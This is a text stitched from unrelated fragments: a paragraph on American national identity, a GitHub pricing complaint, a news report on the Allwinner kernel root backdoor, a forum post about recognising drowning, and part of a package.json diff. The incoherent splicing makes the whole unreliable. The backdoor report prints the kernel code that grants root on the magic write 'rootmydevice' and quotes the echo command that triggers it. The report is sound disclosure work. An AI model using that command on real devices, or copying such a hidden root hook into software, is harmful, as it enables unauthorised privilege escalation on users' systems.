Being "the good guys" has become part of the national American identity since WWII. Not all of that reputation is undeserved. America has done a lot of good in the world. But the American government has also done a lot of shady stuff (including some seriously no-grey-area bad stuff) that they have kept hidden from their citizens. Unfortunately, even though some of that is now out in the open, there are some Americans who won't acknowledge it is true (or try to defend it as necessary) because it is difficult to reconcile that information with the good guy image they've had all their lives. It is important to do so, though. If there's one good thing that can come from the wrong that has been done, it is to learn never to repeat it.
I'm a member of a Github organisation with 63 members and 20 private repositories. As far as I can see, this changes our yearly cost from $600 to $6564.
A root backdoor for debugging ARM-powered Android gadgets managed to end up in shipped firmware – and we're surprised this sort of colossal blunder doesn't happen more often.
The howler is the work of Chinese ARM SoC-maker Allwinner, which wrote its own kernel code underneath a custom Android build for its devices.
Its Linux 3.4-based kernel code, on Github here, contains what looks to The Register like a debug mode the authors forgot to kill. Although it doesn't appear to have made it into the mainstream kernel source, it was picked up by firmware builders for various gadgets using Allwinner's chips.
It's triggered by writing rootmydevice to the special file /proc/sunxi_debug/sunxi_debug. That gives the current running process root privileges. If that file is present on your device or single-board computer, then you need to get rid of it. This is the code that checks for the magic write:
if(!strncmp("rootmydevice",(char)buf,12)){
cred = (struct cred )__task_cred(current);
cred->uid = 0;
cred->gid = 0;
cred->suid = 0;
cred->euid = 0;
cred->euid = 0;
cred->egid = 0;
cred->fsuid = 0;
cred->fsgid = 0;
printk("now you are root\n");
}
Tkaiser, a moderator over at the forums of the Armbian operating system (a Linux distro for ARM-based development boards) notes there's a number of vulnerable systems in the field.
As tkaiser writes, echo "rootmydevice" > /proc/sunxi_debug/sunxi_debug" "from any process with any UID will get root, and it's probably remotely exploitable if combined with networked services that might allow access to /proc."
He adds: “This security flaw is currently present in every OS image for H3, A83T or H8 devices that rely on kernel 3.4.”
As well as all Orange Pi images except for Armbian's freshly patched 5.10, these vulnerable gadgets include ARM dev boards from FriendlyARM, SinoVoip (its M2+ and M3 Banana Pi boards), Cubietruck, and LinkSprite's pcDuino8 Uno.
There are probably other products out there using the Allwinner SoC and the dodgy code. Tkaiser pointed out that FriendlyARM was also quick to issue a patch.
I was saved from drowning in a hotel pool at a very young age before I could swim (in a floating ring I managed to slip out of) because another was noticed me slipping out of it, I basically just sunk and he jumped in while my parents were talking by the poolside. And I've wondered about this before, I always thought it would be very hard to see the difference between playing in the water and drowning, now it's even more unclear to me how to distinguish it. (except when an infant just starts "sinking" like I did)
As an older child I loved playing in the water like this.
Even though I could swim and paddle with my feet I just thought it was fun trying to stay afloat in different ways, mostly just like explained here, "pushing" on the water's surface.
Are there more tips to distinguish playing from drowning? Because this article suggests it's not a "you'll know it when you see it" kind of thing.
"main": "src/index.js", "scripts": { "test": "tape test/.js", - "watch": "runwatch "/.js" -r \"npm test\"" + "watch": "runwatch \"/*.js\" -r \"npm test\"" }, "devDependencies": { "runwatch": "^0.1.3",